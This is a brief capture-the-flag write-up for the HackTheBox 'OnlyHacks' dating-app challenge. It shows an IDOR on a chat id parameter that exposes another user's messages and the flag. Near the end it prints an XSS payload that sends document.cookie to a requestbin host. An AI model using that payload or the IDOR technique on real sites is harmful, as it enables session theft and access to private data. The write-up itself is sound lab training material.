> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-onlyhacks.md).

# HTB - OnlyHacks

### HTTP

Browsing to the given ip address revealed a login and a register page to a dating app.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fw3sdbUMbvHtiYardXWsF%2Fimage.png?alt=media&amp;token=2f92c24d-6f51-461c-89a9-d5ac00eb1d4d" alt=""><figcaption></figcaption></figure>

lets signup an account as the login page is not vulnerable to sql injection.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Ft8KWDL5nlSQ2Cdkz3ygU%2Fimage.png?alt=media&amp;token=d5cbfde8-30ad-45a0-8872-795ea003c317" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpCWpIF10Fy1SwMPPbrk3%2Fimage.png?alt=media&amp;token=be88cfe2-6c63-4503-b8c1-138bb1049463" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs3QfZyyIAW8fJoGZf0FS%2Fimage.png?alt=media&amp;token=4c8d2628-f417-4f44-9a27-906a37c032f4" alt=""><figcaption></figcaption></figure>

Looking through the cards, all of them state that the users are not very interested in the dating\
apps concept. Except for one user Renata . She states, in her card, that she is always online.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGxfYptiEkgROOmd1Bxrs%2Fimage.png?alt=media&amp;token=06eb91e6-1bc1-4e71-91d6-b4095e7e135a" alt=""><figcaption></figcaption></figure>

sending a match to renata instantly matches

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FB3p4IPmnr7Kq9tSqAqBQ%2Fimage.png?alt=media&amp;token=90f9a5f0-aa07-4865-bebb-882f6cfe577c" alt=""><figcaption></figcaption></figure>

clicking on the matched chat a get request is made with a id=6 parameter.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4YTb9soUqqUsPbd7U3oA%2Fimage.png?alt=media&amp;token=6716941f-743a-472b-b8db-ea25518f4685" alt=""><figcaption></figcaption></figure>

this is a possible IDOR scenario that i can check by modifying the value of id.

### IDOR

changing the rid value to 3 results in flag

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHUlFLnpEeHFe5uBJ7ypY%2Fimage.png?alt=media&amp;token=8dc568b3-4a54-4bd7-b84d-b975eb9b22ad" alt=""><figcaption></figcaption></figure>

### Cross Site Scripting

official writeup talks about cross site scripting in the chat.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjKAZQbNgSzszmHCP0Yv4%2Fimage.png?alt=media&amp;token=3d4919ae-a1cf-4dd3-aeec-8672f427e81e" alt=""><figcaption></figcaption></figure>

```powershell
<script>document.location='<http://requestbin.whapi.cloud/19bdo3d1>?
c='+document.cookie</script>
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fw0NXqm2VWkPmmKtsXJdQ%2Fimage.png?alt=media&amp;token=91cd39f4-3e3e-4324-b46f-a968bbbd7920" alt=""><figcaption></figcaption></figure>


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